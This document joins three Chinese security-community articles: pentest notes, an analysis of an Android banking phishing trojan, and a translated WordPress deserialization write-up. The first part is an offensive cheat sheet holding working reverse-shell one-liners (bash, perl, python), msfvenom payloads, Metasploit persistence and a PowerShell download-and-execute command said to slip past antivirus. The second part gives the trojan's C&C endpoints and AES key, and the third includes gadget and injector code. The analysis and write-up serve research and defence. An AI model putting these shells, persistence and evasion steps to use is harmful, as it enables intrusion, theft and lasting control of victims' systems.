**反向shell：** 被攻击者主动连接攻击者，可用于攻击者处于外网，被攻击者处于内网的情况。
攻击者<–被攻击者
**msf shell**
反向shell
正向shell
Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell
Windows:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=121.196.209.139 LPORT=4444 -f exe > abc.exe
Android:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > /root/apk.apk
其他的各种各样的姿势的反弹shell：
bash:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用SSH通道：
Ssh -qTfnN -L port:host:hostport -l user remote_ip 正向隧道，监听本地port
Ssh -qTfnN -R port:host:hostport -l user remote_ip 反向隧道，用于内网穿透防火墙限制之类
Ssh -qTfnN -D port remotehost 直接进行socks代理
参数：
-q 安静模式
-T 不占用shell
-f 后台运行，推荐加-n参数
-N 不执行远程命令
SSH端口转发：
Ssh -CfNg -L port1:127.0.0.1:port2 user@host 本地转发
Ssh -CfNg -R port2:127.0.0.1:port1 user@hsst 远程转发
**
**
**拿到shell后的两个方向**
**如果是低权限的机器，就提权：**
检查操作系统发行版本：lsb_release -a
依据系统的内核，寻找对应的exp提权：
根据内核寻找exp的网站： [https://www.kernel-exploits.com/](https://www.kernel-exploits.com/) ，也可以用kali下的searchsploit命令
如果尝试的所有的exp都失败了，可以试一试新版本内核的exp。但是注意，内核exp提权有崩溃系统的风险。
**一些其他的办法：**
利用SUID提权
1\. SUID是一种属性，他允许用户执行的文件以该文件的拥有者身份运行。3.81的nmap中可以使用交互模式以root执行任意系统命令。
2\. 环境变量劫持的方法提权
3\. Passwd文件是否可写，可写则修改密码登录
4\. Shadow是否可读，可读则使用hashcat或john暴力破解
5\. 使用web端的一些密码测试root密码是否相同
6\. 使用命令 ls -l /etc/cron* 查看计划任务，也许会有脚本使自己成为root用户
使用命令 netstat -antup查看服务，有没有什么神奇的服务，可以用nc转发出来。
相关工具：<https://www.securitysift.com/download/linuxprivchecker.py>
详细地列出网卡信息，主机信息，passwd文件，开启服务等等信息。
提权的方法复杂而多样，主要的手段还是第一种的使用exp提权。在尝试所有的提权方法之后依然不能成功，那么可以使用这台主机作为跳板进行内网的进一步渗透。
**后门**
拿下一个shell容易，但是对方服务器重启，web漏洞被补上，木马被删除，还能有办法保留住shell么？这里提供了几种持续后门的方法。
**Msf的持续后门**
Persistence: run persistence -h：用于创建启动项启动，会创建注册表，创建文件。（X86_Linux不支持此脚本）
Run metsvc -h ：用于创建服务，会创建meterpreter服务，并上传三个文件，容易被杀（我的msf版本不支持）使用-r参数可以卸载服务
Mof_ps_persist
**Msf自动运行脚本**
Autorunscript，一个十分强大的脚本，可以在生成会话的同事，执行指定的操作。可以通过autorunscript调用的脚本有6个，目录metasploit/scripts/meterpreter，有屏幕截图，获取环境变量等等。
**使用persistence和autorunscript留后门的方法是：**
Use explit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set lhost ***
Set lport ***
Set ExitOnSession false
Set AutoRunScript persistence -r *** -p 7231 -U -X -I 30
Exploit -j -z
**绕过拦截的计划任务：**
构造创建计划任务：schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次
powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://a.com/1.ps1');" 保存以上命令到1.ps一，通过IEX下载执行。
本机测试时360第二种报毒，第一种通过。
**网络分析**
**查看本机网络信息**
ipconfig
**使用代理探测内网**
正向代理：Regeorg + proxychains （win下用proxycap）
Regeorg: <https://github.com/sensepost/reGeorg>
上传服务器可执行的tunnel文件，在本机执行：
python reGeorgSocksProxy.py -p 2333 -u http://aaaaaa.com/tunnel.php
Proxychains: <https://github.com/rofl0r/proxychains-ng>
配置文件
vim /etc/proxychains.conf
在最后一行添加socks5 127.0.0.1 2333(与regeorg端口相同)
使用时，在执行的命令前加proxhchains 4, 比如：proxychains4 nmap -sT -Pn -n 127.0.0.1
反向代理：路由表+socks4a+proxychains
在msf中如果拿到一个meterpreter shell，有一个很简单的添加路由表的方法：run autoroute -s
192.168.122.0/24，添加完路由表后，msf框架就可以使用跳板进行对192.168.122.0/24的网络访问了。
若要使用nmap一类的工具，需要使用msf框架中的socks4a工具代理，目录：auxiliary/server/socks4a
开启socks4a后可以用netstat -antp | grep 1080来检查一下是否成功。
Proxychains 不支持ICMP协议，nmap要加-sT 和 -Pn 参数。
**使用nmap探测内网服务**
如果只探测服务，则查看hosts，扫描特定的服务。
如果为了探测整个内网，则全网段扫描。
**通过跳板对内网爆破**
kali工具包中的Hydra可以爆破SSH。
**通过跳板转发端口**
使用msf的portfwd工具可以转发内网ip的端口。
**关注的两个点：**
寻找交换机路由器，尝试snmp弱口令。关于snmp的知识：http://wooyun.jozxing.cc/static/drops/tips-409.html
通过收集到的信息，编写字典，对ftp,ssh,dbserver进行爆破。
对内网的web服务进行攻击，内网的web弱口令更普遍。
为扩大控制范围，优先控制交换机路由器等网络设备。
**分析网络**
假设控制路由器，通过路由器收集以下信息：
1\. 设备配置
2\. 查看相关权限与exp提权
3\. 查看版本信息
4\. 查看ip地址
5\. 活动主机
6\. 构建拓扑图
之后可以通过流量监控获取更多数据，进行深入的渗透。后面的内容我就没有学习了，笔记戛然而止！
**参考文章**
<https://www.waitalone.cn/linux-shell-rebound-under-way.html>
<http://www.tuicool.com/articles/j2eayaF>
<http://wooyun.jozxing.cc/static/drops/tips-16116.html>
<https://www.secpulse.com/archives/51092.html>
<http://wooyun.jozxing.cc/static/bugs/wooyun-2015-097180.html> | 社区文章 |
作者: **启明星辰ADLab**
#### 1、概述
随着移动互联网的快速普及，移动支付在人们生活中扮演的角色越来越重要。从支付宝、微信、各类支付钱包以及各大银行的支付应用都在挖空心思抢占用户移动支付入口就可见一斑。特别是近两年，零现金支付在很多用户身上尤其是年轻用户身上早已成为现实，这极大的丰富和方便了人们的生活。然而，随着移动支付的不断普及和涉及的金钱数额越来越大，移动支付这块肥肉也吸引了越来越多的攻击者。
近日，启明星辰ADLab就发现了一款银行类 Android APP 钓鱼木马。经过我们对该钓鱼木马的深入分析发现，与大部分采用 java
层代码加密和方法混淆技术的 Android 恶意代码不同的是，该 Android
银行钓鱼木马采用了类似于加固(加壳)保护的技术，将真正的恶意实体进行加密并隐藏起来，在恶意软件运行时通过 SO
动态解密并加载以执行真实的恶意软件实体。这样不仅可以绕过杀毒软件的查杀，还增加了安全研究人员的逆向分析难度。此外，该钓鱼木马不仅通过伪造银行图标和登录界面来实施钓鱼攻击，它还会在后台实时监视感染系统中的活动界面，一旦发现用户启动合法的银行
APP，便对其进行劫持并替换成自己伪造的银行登录页面。该钓鱼木马的劫持目标为招商银行、交通银行和中国邮政储蓄银行，当用户在伪造的界面上输入银行账号密码等登录信息后便会被上传到黑客预先配置好的
C&C
服务器上，同时银行钓鱼木马会弹出输入错误等信息来迷惑用户。此时，拥有受害者银行登录账号密码的黑客就可以利用该银行钓鱼木马的短信劫持功能来获取验证码，登录到受害者银行账户进行恶意转账或者透支信用卡等等操作（示意图如下）。本文后续将对该银行钓鱼木马进行深入的剖析，并对黑客身份信息进行追踪分析。
#### 2、银行类钓鱼木马行为简介
该银行类钓鱼木马的劫持目标为招商银行、交通银行和中国邮政储蓄银行，并且采用了类似于加固（加壳）的技术。（“壳”指的是一个程序外面再包裹上另外一段代码，目的是保护里面的代码不被非法的修改或者反编译。被加壳程序执行的时候,首先得到执行的是壳的代码，然后由壳代码来实现被保护实体的解密和加载执行。）该钓鱼木马运行后，先执行壳的代码，在壳的
SO 代码中解密被保护的恶意实体 jar 文件，再通过自定义的 DexClassLoader 动态加载解释执行该恶意实体。
恶意实体首先利用注册短信广播接收器的方式来接收短信控制指令。在完成伪装和自我保护之后，恶意实体会实时监视感染系统中的活动界面，一旦发现用户启动合法的银行
APP，便对其进行劫持并替换成自己伪造的银行登录页面。用户很难发现新的窗口被打开了，当用户在伪造的界面上输入银行账号密码等登录信息后便会被上传到黑客预先配置好的
C&C
服务器上，同时银行钓鱼木马会弹出输入错误等信息来迷惑用户。此时，拥有受害者银行登录账号密码的黑客可利用该银行钓鱼木马的短信劫持功能来获取验证码登录到受害者银行账户以进行恶意转账或者透支信用卡等等操作。
然后，恶意实体通过拦截系统默认的短信应用，拿到对系统短信数据库的读写权限。更通过使用观察者模式，实时监视用户短信，以实现对用户的持续侵害。当攻击者发起一笔交易，银行的验证码和消费回执信息就会被拦截，窃取后再行删除。这样等于破解了银行的双重验证机制，并在用户没有丝毫察觉的情况下完成交易，对用户的财产安全构成严重威胁。该钓鱼木马运行流程图如下：
#### 3、脱壳解密分析
为了使得壳程序先行执行，该银行类钓鱼木马自定义了 MyApplication 类继承自 Application 类（Application
是Android程序的入口，Application 和 Activity、Service 一样是 Android 框架的一个系统组件。当 Android
程序启动时，系统会创建一个 Application 对象且仅创建一个，用来存储系统的一些信息。通常我们是不需要指定一个 Application
的，系统会自动帮我们创建。如果需要创建自己的 Application ，需要创建一个类继承 Application 并在 manifest 的
application 标签中进行注册，给 application 标签增加一个 name 属性，把自己的 application
的名字指定给它即可。application 对象的生命周期是整个程序中最长的，它的生命周期就等于这个应用程序的生命周期。因为它是全局的单例的，所以在不同的
Activity、Service 中获得的对象都是同一个对象。可以通过 Application 来进行一些数据传递、数据共享和数据缓存等操作。）并在
mainifest 中的 标签中进行了注册，见下图：
我们从上图可以看到 MyApplication 类加载了 native 库 libload.so，并在 attachBaseContext 方法中调用了
native 函数 run。解密真实恶意实体的处理流程即在run函数中进行。 钓鱼木马运行后，在 `data/data/t8/ool/lib`
目录下有3个SO文件，其中 libload.so 负责解密和加载真实的恶意实体。
libload.so 首先利用反射机制调用 javax.crypto 包中的加解密函数对 asset 目录下的加密文件 mycode.so 进行 AES
解密操作。解密后的文件保存在 `data/data/t8/ool/app_cathe` 目录下并被命名为 mycode.jar 。再利用自定义的
DexClassLoader 加载解释执行 mycode.jar ，最后删除之。我们通过动态调试 libload.so ，在 libload.so 删除
mycode.jar 之前拿到解密文件，最后修复、重新打包、安装分析。相关细节如下。
Base64解密AES key：`xo3Kiw9jekmadw/SUtJwiA==`
初始化cipher：
解密逻辑（执行到断点处，解密完成）：
此时，在`data/data/t8/ool/app_cathe`目录下生成了解密文件 mycode.jar，见下图：
我们将 mycode.jar 复制到pc端，用 winrar 打开，里面的 classes.dex
即为该钓鱼木马的真实恶意实体（如下图所示），接下来我们就对该 dex 文件进行深入的分析。
#### 4、真实攻击逻辑分析
该钓鱼木马申请的权限如下图所示，其中，涉及到的敏感权限包括短信的读写权限、打电话权限、读取或写入系统设置权限、自启动权限和获取最近运行应用权限等。
###### 4.1、注册广播接收器，接收控制指令
该钓鱼木马注册了短信广播接收器，用来接收控制指令。当短信内容是`000#`，设置配置文件`inter`的值为1，截断广播；当短信内容是`0#`，设置配置文件`inter`的值为0，截断广播；当短信内容是`555#`，收集用户本机所有短信，企图邮件回传，截断广播。并且，如果短信内容为控制命令`000#`，就以
json 格式 post 用户手机 sim 卡序列号、手机号码、短信内容，发送者、发送时间到 C&C
服务器：http://103.55.26.147/servlet/SendMassage2 , 如下图。
###### 4.2、创建配置文件，完善配置信息
接下来，钓鱼木马开始初始化本地 SharedPreferences 对象，用于保存配置信息。其中包括攻击者邮箱地址、邮箱密码、C&C 服务器、钓鱼 APP
首页地址、攻击者手机号码、钓鱼木马运行时间等重要信息。
钓鱼木马运行后，我们在本地打开 mybank.xml 文件。
我们提取出比较重要的攻击者配置信息，见下表。
###### 4.3、启动钓鱼服务
**4.3.1、提示肉鸡上线**
接着，钓鱼木马会收集用户sim卡序列号、手机号码、手机型号、系统版本、手机运营商等信息，以 json 格式 post 到 C&C
服务器：http://103.55.26.147/servlet/OnLine ，用于提示肉鸡上线。
**4.3.2、伪装和自我保护**
钓鱼木马还会启动设备管理器，引导用户激活自己为设备管理器，伪装成系统应用避免被轻易卸载。并且后台每隔10s检测用户手机是否是感染设备，如果是，就不断提示用户激活。
Android 设备管理器对于一个普通 APP 而言并不太常用，但在很多病毒中十分常见。一旦应用被激活成为系统管理员，则在设置->应用程序下无法直接删除该
APP ，只有取消激活后才能卸载。所以对于不了解的应用，千万不可乱激活。见下图：
运行结果如下图：当用户点击激活后，钓鱼木马就获得了设备管理员权限，这样会导致普通用户很难卸载掉该钓鱼木马。
**4.3.3、接管短信应用**
钓鱼木马接着引导用户设置自己为系统短信应用，接管短信服务，以获得对短信数据库的操作权限（见下图）。Android 4.4 及其以后，只能设置一个默认的
SMS 短信 APP ，当短信到达后会首先通知设置的默认 APP ，并且只有该APP对短信数据库有修改的权限和短信的发送权限。
运行效果如下图，当用户点击“是”后，钓鱼木马即成功接管短信服务，拿到了对短信数据库的操作权限。
**4.3.4、实施钓鱼**
以上准备完成后，钓鱼木马会每隔1秒检测感染设备当前活动界面是否是：中国邮政储蓄银行、交通银行、招商银行的 APP 。如果是，则打开对应的钓鱼页面.
我们下面仅列出针对招商银行的钓鱼页面代码。可以看到钓鱼木马利用钓鱼页面窃取用户的 sim 卡序列号、手机号码、登录密码等后，以 json 的格式 post
到 C&C 服务器http://103.55.26.147/servlet/CMBSubmit ，见下图。
**4.3.5、监控用户短信**
钓鱼木马使用内容观察者模式，监视用户短信。当短信内容是`000#`，设置配置文件`inter`的值为1，删除短信；当短信内容是`0#`，设置配置文件`inter`的值为0，删除短信；当短信内容是`555#`，删除短信，并收集用户本机所有短信，企图邮件回传。并且，如果短信内容为控制命令`000#`时，就以
json 格式 post 用户手机 sim 卡序列号、手机号码、短信内容，发送者、发送时间到 C&C
服务器：http://103.55.26.147/servlet/SendMassage2 。见下图。
攻击者控制用户手机后，每发起一笔交易，银行的验证码和消费回执信息就会被拦截窃取再行删除（见下图），这样等于破解了银行的双重验证机制，并在用户没有丝毫察觉的情况下完成交易。对用户的财产安全构成严重威胁。
**4.3.6、服务常驻**
钓鱼木马还定义了广播接收器，用于自启动。当用户手机重启或者解锁时，启动钓鱼服务，继续其侵害过程。
**4.3.7、检测杀毒软件**
除了以上功能之外，该钓鱼木马还内置有检测杀毒软件的功能，判断感染设备是否安装有360杀软相关应用（见下图）。现在在很多恶意样本中都能看到针对杀毒软件的处理函数，一般是判断某流行杀软是否存在，如果存在，就后台静默卸载。不过该函数未在该版本中调用。所以初步推断该钓鱼木马目前还处于前期的开发调试阶段，后续极有可能大规模感染，我们应该给予持续的关注和跟进。
#### 5、溯源
###### 5.1、邮箱信息
我们尝试使用钓鱼木马配置文件中的攻击者邮箱和密码来登录攻击者的126邮箱，但目前已无法正常登录（见下图），应该是攻击者已经修改了密码。
###### 5.2、C&C 服务器信息
通过以上分析我们知道该钓鱼木马的C&C为103.55.26.147，目前该C&C的IP依然有效，但是通过反查的域名并没有发现有价值的线索。
###### 5.3、其他线索
我们尝试在 appscan.io
中查询攻击者邮箱`[email protected]`，结果发现除了我们分析的当前钓鱼木马，还有其他3个相关应用（见下图）。`文档.apk`样本变化不大，我们试图从`录像.apk`入手寻找线索。经分析发现，`录像.apk`部分代码结构和代码逻辑与本文分析的银行类钓鱼木马高度相似，可以断定这两个
apk 为同一个作者。
我们在`录像.apk`的 so
文件中，得到了一组邮箱密码和一个手机号码（见下图）。经分析该邮箱为攻击者控制的信息回传邮箱。该手机号码为攻击者短信回传的目的手机号码。
我们尝试登录该126邮箱，登录成功！
我们发现此邮箱确为攻击者控制的信息回传邮箱。并且在其网盘里发现了一个`视频.apk`恶意文件。邮箱里面记录了窃取到的用户手机通讯录列表、短信列表、截获到的短信等敏感数据（见下图）。这些信息最早日期是2015年11月30日，最晚为2016年10月11日且都处于未被打开状态，但从信息数量来看并不大。我们可以推断，“视频.apk”为该时间段攻击者的一个测试样本，并未全面使用。
另外，从邮箱的其他收信内容来看，该邮箱注册的重要账户有：Apple
ID、支付宝、淘宝、微博、Facebook、Turo租车等。从关联到的微博账户和Facebook账户内容来看，初步判断该邮箱很有可能是被攻击者盗用的一个受害者邮箱账户。
在其网盘发现的一个`2015视频.apk`文件，显示时间为2015年9月20日。
窃取到的受害人敏感信息：
截获到的新短信：
窃取到的短信列表：
窃取到的通讯录：
再来看看手机号码：183****5246，我们在支付宝中未查到该手机注册相关账户，但在微信中倒是查找到一个关联用户（见下图）。
###### 5.4、溯源总结
通过简单的溯源分析，我们找到了攻击者使用的一个控制邮箱并在登录成功后，查看到了其回传的受害者敏感信息。但还没有准确定位到攻击者本身。我们通过内置手机号码分别在支付宝和微信上查找注册信息，最终找到了微信上关联的一个用户。根据现有的线索，对攻击者的信息溯源目前就到此为止。因为该钓鱼木马还是一个前期测试样本，相信在后续的跟进中会挖掘出更多的攻击者相关信息。
#### 6、总结及建议
###### 6.1、技术总结
与大部分采用 java 层代码加密和方法混淆技术的 Android 恶意代码不同的是，该 Android
银行钓鱼木马采用了类似于加固(加壳)保护的技术，将真正的恶意实体进行加密并隐藏起来，在恶意软件运行时通过 SO
动态解密并加载执行真实的恶意软件实体。这样不仅可以绕过杀毒软件的查杀，还增加了安全研究人员的逆向分析难度。可以预见，随着攻防的不断升级，越来越多的恶意软件开始使用加壳技术来自我保护，安全分析工作任重而道远。
###### 6.2、安全建议
目前由于该银行类钓鱼木马的 C&C
服务器无法连接，故其还处于无法正常使用状态。不过，从代码逻辑和功能来看，有部分功能代码并没有调用，比如检测360杀毒软件。可以判定，该恶意软件仍然处于开发调试阶段，并不成熟，我们将持续关注和跟进。
对于 Android 用户，建议不安装不明来源的 APP，对申请可疑权限尤其是短信读写、打电话以及需要激活设备管理器的 APP
要特别留意。涉及金钱的操作要格外谨慎，遇到操作异常或扣费异常，要及时联系银行冻结账户或者拨打110报警，避免遭受更大损失。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
> 译者：[email protected]
> 原作者：Nicky Bloor@nickstadb
> 原文地址：<https://nickbloor.co.uk/2018/02/28/popping-wordpress/>
译者按：作者证明这是最新的`WordPress
4.9.4`版本存在的问题，默认安装，虽然bug有些不值一提，但会导致RCE，作者希望能够多多讨论这些事情的思路和努力，而不是过多地关注漏洞详细信息。
PoC视频URL：<https://videopress.com/v/tYSsU4Ch>
### 0x00 前序
* * *
几个月前，我正在编写一篇关于PHP反序列化漏洞的博客文章，决定为这篇文章找一个真实目标，能够让我将测试数据传输给PHP unserialize
()函数来实现演示目的。于是我下载了一批WordPress插件，并开始通过grepping来寻找调用unserialize ()的代码实例：
$url = 'http://api.wordpress.org/plugins/info/1.0/';
$response = wp_remote_post ($url, array ('body' => $request));
$plugin_info = @unserialize ($response ['body']);
if (isset ($plugin_info->ratings)) {
这个插件的问题在于发送明文HTTP请求，并且将该请求响应传递给了unserialize()函数。就真实攻击而言，它并不是最佳入口点，但是如果我能通过这种微不足道的方式向unserialize()函数提供输出来触发代码的话，这就足够了！
### 0x01 PHP反序列化攻击
* * *
简单来说，当攻击者能够将他的数据提供给应用程序，而该应用程序将数据转化为运行对象时没有作适当验证的时候就会出现反序列化漏洞。如果攻击者数据被允许去控制运行对象的属性，那么攻击者就可以操纵任何使用这些对象属性的代码执行流程，就有可能使用它发起攻击。这是一种称为面向属性编程（POP）的技术，一个POP小工具是可以通过这种方式控制任何代码片段，开发实现是通过向应用程序提供特制对象，以便在这些对象进行反序列化的时候触发一些有用的行为。如果想了解更多详情的话，可以参阅我的博客文章[Attacking
Java Deserialization](https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/) ，其中的一般概念适用于任何基础技术。
在PHP应用程序的现状来看，POP小工具最为人熟知和最可靠的原因在于类的`__wakeup()`方法（*PHP“魔术方法”，`unserialize()`函数会检查是否存在`__wakeup()`，如果存在，则会先调用`__wakeup()`方法，预先准备对象需要的资源），如果一个类定义了`__wakeup()`方法，那么无论何时该类的某个对象使用了`unserialize()`函数进行反序列化都能保证`__wakeup()`方法被调用，另外一个原因是`__destruct()`方法（当创建的对象被销毁或遇到PHP结束标记的时候，比如程序已经执行完毕，对象会自动调用`__destruct()`执行一些相应的操作，可以自行定义），例如PHP脚本执行完成时（未发生致命错误），当反序列化对象超出范围时仍几乎可以保证`__destruct()`方法被调用。
除了`__wakeup()`和`__destruct()`方法之外,
PHP还有其他“魔术方法”，可以在类中定义，也可以在反序列化之后调用，这取决于反序列化对象的使用方式。在一个更大更复杂的应用程序中可能很难追踪到反序列化对象在哪里结束以及如何来使用它或调用那些方法，于是确定那些类可以用于PHP反序列化漏洞利用也很困难，因为相关文件可能未包含在入口点，或者一个类的自动加载器（例如`spl_autoload_register()`函数）可能以及被注册来进一步混淆。
### 0x02 通用的PHP POP小工具
* * *
为了简化这个过程，我编写了一个PHP类，它定义了所有魔术方法并且在调用任何魔术方法时将详细信息写入日志文件。特别有趣的是魔术方法`__get()`和`__call()`，如果应用程序尝试获取不存在的属性或调用该类中不存在的方法时就会调用以上魔术方法，前者可以用来识别在payload
object上设置的属性，以便操纵并使用这些属性的代码，而后者可以用来识别POP小工具触发使用的非魔术方法（并且可以将它们自身用作POP小工具）。
该类的__wakeup()方法还使用了get_declared_classes()函数来检索和记录可以利用exploit
payload的已声明类的列表（虽然这不会反映当前未声明但可以自动加载的类）。
<?php
if(!class_exists("UniversalPOPGadget")) {
class UniversalPOPGadget {
private function logEvent($event) {
file_put_contents('UniversalPOPGadget.txt', $event . "\r\n", FILE_APPEND);
}
public function __construct() { $this->logEvent('UniversalPOPGadget::__construct()'); }
public function __destruct() { $this->logEvent('UniversalPOPGadget::__destruct()'); }
public function __call($name, $args) {
$this->logEvent('UniversalPOPGadget::__call(' . $name . ', ' . implode(',', $args) . ')');
}
public static function __callStatic($name, $args) {
$this->logEvent('UniversalPOPGadget::__callStatic(' . $name . ', ' . implode(',', $args) . ')');
}
public function __get($name) { $this->logEvent('UniversalPOPGadget::__get(' . $name . ')'); }
public function __set($name, $value) { $this->logEvent('UniversalPOPGadget::__set(' . $name . ', ' . $value . ')'); }
public function __isset($name) { $this->logEvent('UniversalPOPGadget::__isset(' . $name . ')'); }
public function __unset($name) { $this->logEvent('UniversalPOPGadget::__unset(' . $name . ')'); }
public function __sleep() { $this->logEvent('UniversalPOPGadget::__sleep()'); return array(); }
public function __wakeup() {
$this->logEvent('UniversalPOPGadget::__wakeup()');
$this->logEvent(" [!] Defined classes:");
foreach(get_declared_classes() as $c) {
$this->logEvent(" [+] " . $c);
}
}
public function __toString() { $this->logEvent('UniversalPOPGadget::__toString()'); }
public function __invoke($param) { $this->logEvent('UniversalPOPGadget::__invoke(' . $param . ')'); }
public function __set_state($properties) {
$this->logEvent('UniversalPOPGadget::__set_state(' . implode(',', $properties) . ')');
}
public function __clone() { $this->logEvent('UniversalPOPGadget::__clone()'); }
public function __debugInfo() { $this->logEvent('UniversalPOPGadget::__debugInfo()'); }
}}
?>
### 0x03 PHP检测
* * *
将上面的代码保存到一个PHP文件中，我们可以通过这个在其他任何PHP脚本中插入一个`include'/path/to/UniversalPOPGadget.php'`语句，并使这个类可用。以下Python脚本将查找给定目录中所有PHP文件，并将语句写入文件前端，从而有效地检测应用程序，以便我们可以向为其提供序列化的UniversalPOPGadget对象，来用它们研究反序列化的入口点。
import os
import sys
#Set this to the absolute path to the file containing the UniversalPOPGadget class
GADGET_PATH = "/path/to/UniversalPOPGadget.php"
#File extensions to instrument
FILE_EXTENSIONS = [".php", ".php3", ".php4", ".php5", ".phtml", ".inc"]
#Check command line args
if len(sys.argv) != 2:
print "Usage: GadgetInjector.py <path>"
print ""
sys.exit()
#Search the given path for PHP files and modify them to include the universal POP gadget
for root, dirs, files in os.walk(sys.argv[1]):
for filename in files:
for ext in FILE_EXTENSIONS:
if filename.lower().endswith(ext):
#Instrument the file and stop checking file extensions
fIn = open(os.path.join(root, filename), "rb")
phpCode = fIn.read()
fIn.close()
fOut = open(os.path.join(root, filename), "wb")
fOut.write("<?php include '" + GADGET_PATH + "'; ?>" + phpCode)
fOut.close()
break
### 0x04 分析反序列化入口点
* * *
回到刚刚那个调用unserialize()函数的WordPress插件代码片段，我不知道该如何去实际触发unserialize()函数的调用，我所知道的是这个插件应该向`http://api.wordpress.org/plugins/info/1.0/`发送HTTP请求，于是我使用上面的Python脚本来测试WordPress和插件代码，然后修改了服务器上的hosts文件，将`api.wordpress.org`指向同一台服务器。以下代码放在Web根目录中的`/plugins/info/1.0/index.php`文件中，以便提供UniversalPOPGadget
payload：
<?php
include('UniversalPOPGadget.php');
print serialize(new UniversalPOPGadget());
在使用这种手段后，我开始像往常一样使用WordPress实例，特别注意了与目标WordPress插件相关的所有功能，同时查看UniversalPOPGadget日志文件。很快地，生成了一些日志文件，其中包括以下内容（为简洁起见，已将大量可用类删除）：
UniversalPOPGadget::__wakeup()
[!] Defined classes:
[...Snipped...]
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__isset(version)
UniversalPOPGadget::__isset(author)
UniversalPOPGadget::__isset(requires)
UniversalPOPGadget::__isset(tested)
UniversalPOPGadget::__isset(homepage)
UniversalPOPGadget::__isset(downloaded)
UniversalPOPGadget::__isset(slug)
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__isset(banners)
UniversalPOPGadget::__get(name)
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__isset(version)
UniversalPOPGadget::__isset(author)
UniversalPOPGadget::__isset(last_updated)
UniversalPOPGadget::__isset(requires)
UniversalPOPGadget::__isset(tested)
UniversalPOPGadget::__isset(active_installs)
UniversalPOPGadget::__isset(slug)
UniversalPOPGadget::__isset(homepage)
UniversalPOPGadget::__isset(donate_link)
UniversalPOPGadget::__isset(rating)
UniversalPOPGadget::__isset(ratings)
UniversalPOPGadget::__isset(contributors)
UniversalPOPGadget::__isset(tested)
UniversalPOPGadget::__isset(requires)
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__isset(download_link)
日志文件中显示，在UniversalPOPGadget对象被反序列化之后，用程序试图获取或检查是否存在多个属性（段、版本、作者等等）。首先这就告诉我们，通过这个特定的入口点我们可以使用任何可用类中的任何定义在`__get()`或`__isset()`方法中的代码来作为POP小工具，其次它揭示了目标应用程序试图获得的几个属性，这些属性几乎保证影响执行流程，因此可能对开发有用处。
### 0x05 Sections属性？
* * *
上面的日志文件显示，与反序列化对象的首次交互是尝试获取名为`sections`的属性。
$url = 'http://api.wordpress.org/plugins/info/1.0/';
$response = wp_remote_post ($url, array ('body' => $request));
$plugin_info = @unserialize ($response ['body']);
if (isset ($plugin_info->ratings)) {
现在来看最初的目标插件，它在调用unserialize()之后做的第一件事是检查名为`rating`的属性是否存在，那么这个日志
**并不是我当初注意的第三方插件产生的** ！
### 0x06 POPping WordPress出现的意外
* * *
对WordPress代码进行一次快速grep，对于上面提到的HTTP URL，显示该请求是由`wp-admin/includes/plugin-install.php`文件中的WordPress插件API发送的。浏览代码时并不清楚反序列化的payload
object是如何使用的，或者切确地说这个HTTP请求以及随后对unserialize()函数的调用是从哪里触发的。我继续点击WordPress管理界面，发现日志是从`主控制面板`、`更新页面`和`插件页面`生成的。重新加载这些页面使我能够触发目标HTTP请求，并向unserialize()函数提供任意数据。
我记录了一些WordPress发出的HTTP请求并把它们发送到`真正的api.wordpress.org`以获取实例响应，结果响应的是`stdClass`类型的序列化对象，更重要的是示例响应给了我一个预期中WordPress会收到的属性的确切列表，其中每个属性都有可能用于操控某些核心WordPress代码的执行流程。我根据捕获到的真实响应修改了`伪造的api.wordpress.org`用来返回序列化对象。以下是这个的一个简单例子：
<?php
$payloadObject = new stdClass();
$payloadObject->name = "PluginName";
$payloadObject->slug = "PluginSlug";
$payloadObject->version = "PluginVersion";
print serialize($payloadObject);
我开始修改这些对象的属性并刷新相关的WordPress页面，来测试修改内容对结果页面有何影响（如果有的话）。在有些情况下WordPress使用了HTML编码来防止HTML/JavaScript注入，但是最终我发现了几个可以插入任意HTML和JavaScript的字段。请记住这个情况是发生在管理界面内，如果管理员登录并浏览“更新”或“插件”页面，攻击者就能够对WordPress站点执行`MitM攻击`或`DNS欺骗`，也可能会利用此漏洞`实现远程代码执行`。
在快速尝试一些JavaScript和Python脚本之后我有了假设漏洞的运用证明。这个PoC会导致WordPress管理界面中的“更新和插件”菜单旁显示一个徽章，表示有更新可用（当然即使没有也会显示），这可能会诱导管理员点击这些链接来检查并可能安装这些更新。如果有管理员点击任一链接，那么一个JavaScript
payload被注入到该页面中，然后就添加了一个新的管理员账户并将一个基本PHP命令shell注入到现行的WordPress主题的index.php中。
在大多数情况下这种PoC攻击足以实现代码执行，但是我也发现了我可以使用类似方式向WordPress发送一个错误的插件更新来攻击WordPress管理界面的点击更新功能，如果有管理员点击了更新按钮，就会导致下载一个假插件更新的ZIP文件并将其提取至服务器上。
### 0x07 解答
